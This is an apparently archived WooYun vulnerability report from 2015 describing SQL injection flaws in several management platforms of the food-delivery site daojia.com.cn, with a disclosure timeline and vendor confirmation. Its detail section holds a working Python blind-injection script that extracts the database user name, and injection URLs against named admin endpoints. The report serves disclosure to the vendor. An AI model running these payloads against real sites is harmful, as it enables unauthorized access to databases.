当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0149811

漏洞标题:到家美食会多个管理平台存在SQL注入漏洞

相关厂商:daojia.com.cn

漏洞作者: 浮萍

提交时间:2015-10-27 13:59

修复时间:2015-12-12 11:50

公开时间:2015-12-12 11:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-27: 细节已通知厂商并且等待厂商处理中
2015-10-28: 厂商已经确认,细节仅向厂商公开
2015-11-07: 细节向核心白帽子及相关领域专家公开
2015-11-17: 细节向普通白帽子公开
2015-11-27: 细节向实习白帽子公开
2015-12-12: 细节向公众公开

简要描述:

多个平台一块打包了

详细说明:

http://dj.daojia.com.cn/

Snap235.jpg


这里只是列举了一部分
更多的可以通过site:daojia.com.cn来搜索

Snap236.jpg


以http://shanghai.bd.daojia.com.cn/为例

Snap237.jpg


输入用户名然后获取验证码
抓包

http://shanghai.bd.daojia.com.cn/service.php?action=2147483649&user=admin&uid=1445924202965


显示空白

Snap238.jpg


返回0

Snap239.jpg


Snap240.jpg


Snap241.jpg


使用脚本验证

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
print 'start to retrive user:'
user = ''
for i in range(1,17):
for payload in payloads:
conn = httplib.HTTPConnection('shanghai.bd.daojia.com.cn',timeout=60)
params = {
'action': '2147483649',
'uid': '1445922642436',
'user': "admin' or/**/ascii(mid(user(),%s,1))=%s" % (i, ord(payload)) +"/**/and/**/'a'='a",
}
conn.request(method='POST',
url='/service.php',
body = urllib.urlencode(params),
headers = headers)
resp = conn.getresponse()
html_doc = resp.read()
conn.close()
print '.',
if html_doc.count('0') > 0: # True
user += payload
print '\n[in progress]', user
break
print '\n user is', user


Snap242.jpg


漏洞证明:

http://admin.daojia.com.cn
错误时返回9

Snap244.jpg


正确时返回空白

Snap243.jpg


http://admin.daojia.com.cn/service.php?g_current_city=1&action=2147483649&user=a'or length(user())=16 and 'a'='a


可以判断user长度为16
http://web.daojia.com.cn
正确时返回000

http://web.daojia.com.cn/service.php?action=2147483665&user=admin'or 1=1 and 'a'='a&uid=1445924929116


还有以下几个

http://beijing.sp.daojia.com.cn/
http://bd.daojia.com.cn/
http://mining.daojia.com.cn/
http://test-sp.daojia.com.cn/
...........


比较多。。。

修复方案:

版权声明:转载请注明来源 浮萍@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-10-28 11:49

厂商回复:

漏洞已确认,多谢帮助!

最新状态:

暂无


漏洞评价:

评价

  1. 2015-11-02 00:56 | whynot ( 普通白帽子 | Rank:573 漏洞数:100 | 为你解冻冰河 为你放弃世界有何不可)

    洞主河大的?

  2. 2015-11-03 11:59 | 浮萍 ( 普通白帽子 | Rank:951 漏洞数:101 | 沉淀)

    @whynot 不是啊